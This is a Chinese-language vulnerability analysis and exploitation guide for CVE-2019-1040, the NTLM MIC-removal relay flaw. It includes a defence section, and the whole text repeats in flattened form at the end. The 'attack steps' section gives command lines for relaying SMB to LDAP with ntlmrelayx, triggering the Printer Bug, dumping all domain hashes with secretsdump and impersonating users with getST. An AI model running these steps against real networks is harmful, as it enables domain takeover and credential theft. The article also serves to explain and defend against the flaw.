CVE-2019-1040:结合RCE和域管理员的中继攻击漏洞分析
字数 1955 2025-08-27 12:33:23

CVE-2019-1040漏洞分析与利用指南

漏洞概述

CVE-2019-1040是一个允许绕过NTLM中继攻击的漏洞,由Marina Simakov和Yaron Zinar等人发现。该漏洞允许攻击者修改NTLM身份验证数据包而不会使身份验证失效,从而能够删除从SMB转发到LDAP的标志,绕过NTLM身份验证中的消息完整代码(MIC)保护。

技术背景

NTLM中继攻击

NTLM中继攻击是一种攻击技术,攻击者截获客户端的NTLM认证请求,并将其"中继"到另一个服务进行认证。传统上,这种攻击受到以下限制:

  • LDAP签名要求
  • NTLM消息完整性检查(MIC)

相关漏洞组合

CVE-2019-1040通常与其他漏洞组合使用:

  1. Printer Bug (SpoolService错误):强制远程服务器向攻击者发起SMB连接
  2. Kerberos约束委派:用于权限提升

攻击原理

CVE-2019-1040的核心在于能够修改NTLM身份验证数据包而不使认证失效,特别是可以:

  • 删除NTLM认证数据包中的特定标志
  • 绕过LDAP签名要求
  • 使SMB到LDAP的中继成为可能

攻击场景

场景一:获取DCSync权限

  1. 使用AD账户通过SMB连接到目标Exchange服务器
  2. 触发SpoolService错误使服务器连接攻击者
  3. 使用修改版ntlmrelayx将SMB中继到LDAP
  4. 通过中继的LDAP认证为攻击者账户授予DCSync权限
  5. 使用DCSync转储AD中所有密码哈希

场景二:Kerberos约束委派攻击

  1. 使用AD账户通过SMB连接到目标服务器
  2. 触发SpoolService错误
  3. 使用ntlmrelayx将SMB中继到LDAP
  4. 通过中继的LDAP认证将目标服务器的基于资源的约束委派权限授予攻击者控制的计算机账户
  5. 作为目标服务器上的任何用户进行认证

攻击步骤详解

准备工作

  1. 获取一个有效的AD域账户凭证
  2. 搭建攻击环境,包括:
    • 修改版的ntlmrelayx(支持--remove-mic参数)
    • Printer Bug利用工具(printerbug.py等)

实施攻击(场景一)

  1. 启动ntlmrelayx监听:

    ntlmrelayx.py --remove-mic --escalate-user <攻击者账户> -t ldap://<域控制器> -smb2support
    
  2. 触发目标Exchange服务器的SpoolService错误:

    python printerbug.py <域>/<用户>@<Exchange服务器> <攻击者IP>
    
  3. 等待中继成功,攻击者账户将获得DCSync权限

  4. 使用secretsdump.py转储哈希:

    secretsdump.py <域>/<攻击者账户>@<域控制器> -just-dc
    

实施攻击(场景二)

  1. 启动ntlmrelayx监听:

    ntlmrelayx.py -t ldaps://<域控制器> --remove-mic --delegate-access -smb2support
    
  2. 触发目标服务器的SpoolService错误

  3. 中继成功后,攻击者控制的计算机账户将获得对目标服务器的委派权限

  4. 使用getST.py获取服务票据:

    getST.py -spn <服务SPN> -impersonate <要模拟的用户> <域>/<计算机账户>:<密码>
    
  5. 使用票据进行认证和操作

跨林攻击

该攻击可以跨林信任实施,只要:

  • 存在单向或双向林信任
  • 攻击者拥有任一林中有效账户凭证

攻击步骤与单林环境相同,只需指定目标林的域控制器地址。

防御措施

  1. 立即修补:安装微软2019年6月的补丁汇总
  2. 强制LDAP签名和通道绑定
    • 对LDAP over TLS强制执行LDAP签名
    • 启用LDAP通道绑定
  3. 服务禁用
    • 禁用不必要的Spooler服务
    • 特别是对高价值服务器(如域控制器、Exchange服务器)
  4. 网络隔离
    • 阻止敏感主机上445端口的出站流量
    • 实施网络分段,限制服务器与客户端的通信
  5. 权限限制
    • 减少Exchange服务器的默认高权限
    • 遵循最小权限原则

工具与资源

  1. 修改版ntlmrelayx:
    • GitHub: https://github.com/dirkjanm/impacket/tree/micremove
  2. Printer Bug利用工具:
    • printerbug.py (krbrelayx仓库)
    • dementor工具
  3. 其他相关工具:
    • getST.py (Impacket)
    • secretsdump.py (Impacket)

总结

CVE-2019-1040是一个严重的漏洞,结合其他已知技术(如Printer Bug和Kerberos委派)可以导致完整的域沦陷。防御的关键在于及时修补、实施纵深防御策略,并严格遵循最小权限原则。即使在修补后,也应实施额外的防御措施以防止类似的NTLM中继攻击。

参考链接

  1. 原始技术分析:https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
  2. Impacket工具集:https://github.com/SecureAuthCorp/impacket
  3. 微软安全公告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1040
CVE-2019-1040漏洞分析与利用指南 漏洞概述 CVE-2019-1040是一个允许绕过NTLM中继攻击的漏洞,由Marina Simakov和Yaron Zinar等人发现。该漏洞允许攻击者修改NTLM身份验证数据包而不会使身份验证失效,从而能够删除从SMB转发到LDAP的标志,绕过NTLM身份验证中的消息完整代码(MIC)保护。 技术背景 NTLM中继攻击 NTLM中继攻击是一种攻击技术,攻击者截获客户端的NTLM认证请求,并将其"中继"到另一个服务进行认证。传统上,这种攻击受到以下限制: LDAP签名要求 NTLM消息完整性检查(MIC) 相关漏洞组合 CVE-2019-1040通常与其他漏洞组合使用: Printer Bug (SpoolService错误) :强制远程服务器向攻击者发起SMB连接 Kerberos约束委派 :用于权限提升 攻击原理 CVE-2019-1040的核心在于能够修改NTLM身份验证数据包而不使认证失效,特别是可以: 删除NTLM认证数据包中的特定标志 绕过LDAP签名要求 使SMB到LDAP的中继成为可能 攻击场景 场景一:获取DCSync权限 使用AD账户通过SMB连接到目标Exchange服务器 触发SpoolService错误使服务器连接攻击者 使用修改版ntlmrelayx将SMB中继到LDAP 通过中继的LDAP认证为攻击者账户授予DCSync权限 使用DCSync转储AD中所有密码哈希 场景二:Kerberos约束委派攻击 使用AD账户通过SMB连接到目标服务器 触发SpoolService错误 使用ntlmrelayx将SMB中继到LDAP 通过中继的LDAP认证将目标服务器的基于资源的约束委派权限授予攻击者控制的计算机账户 作为目标服务器上的任何用户进行认证 攻击步骤详解 准备工作 获取一个有效的AD域账户凭证 搭建攻击环境,包括: 修改版的ntlmrelayx(支持--remove-mic参数) Printer Bug利用工具(printerbug.py等) 实施攻击(场景一) 启动ntlmrelayx监听: 触发目标Exchange服务器的SpoolService错误: 等待中继成功,攻击者账户将获得DCSync权限 使用secretsdump.py转储哈希: 实施攻击(场景二) 启动ntlmrelayx监听: 触发目标服务器的SpoolService错误 中继成功后,攻击者控制的计算机账户将获得对目标服务器的委派权限 使用getST.py获取服务票据: 使用票据进行认证和操作 跨林攻击 该攻击可以跨林信任实施,只要: 存在单向或双向林信任 攻击者拥有任一林中有效账户凭证 攻击步骤与单林环境相同,只需指定目标林的域控制器地址。 防御措施 立即修补 :安装微软2019年6月的补丁汇总 强制LDAP签名和通道绑定 : 对LDAP over TLS强制执行LDAP签名 启用LDAP通道绑定 服务禁用 : 禁用不必要的Spooler服务 特别是对高价值服务器(如域控制器、Exchange服务器) 网络隔离 : 阻止敏感主机上445端口的出站流量 实施网络分段,限制服务器与客户端的通信 权限限制 : 减少Exchange服务器的默认高权限 遵循最小权限原则 工具与资源 修改版ntlmrelayx: GitHub: https://github.com/dirkjanm/impacket/tree/micremove Printer Bug利用工具: printerbug.py (krbrelayx仓库) dementor工具 其他相关工具: getST.py (Impacket) secretsdump.py (Impacket) 总结 CVE-2019-1040是一个严重的漏洞,结合其他已知技术(如Printer Bug和Kerberos委派)可以导致完整的域沦陷。防御的关键在于及时修补、实施纵深防御策略,并严格遵循最小权限原则。即使在修补后,也应实施额外的防御措施以防止类似的NTLM中继攻击。 参考链接 原始技术分析:https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/ Impacket工具集:https://github.com/SecureAuthCorp/impacket 微软安全公告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1040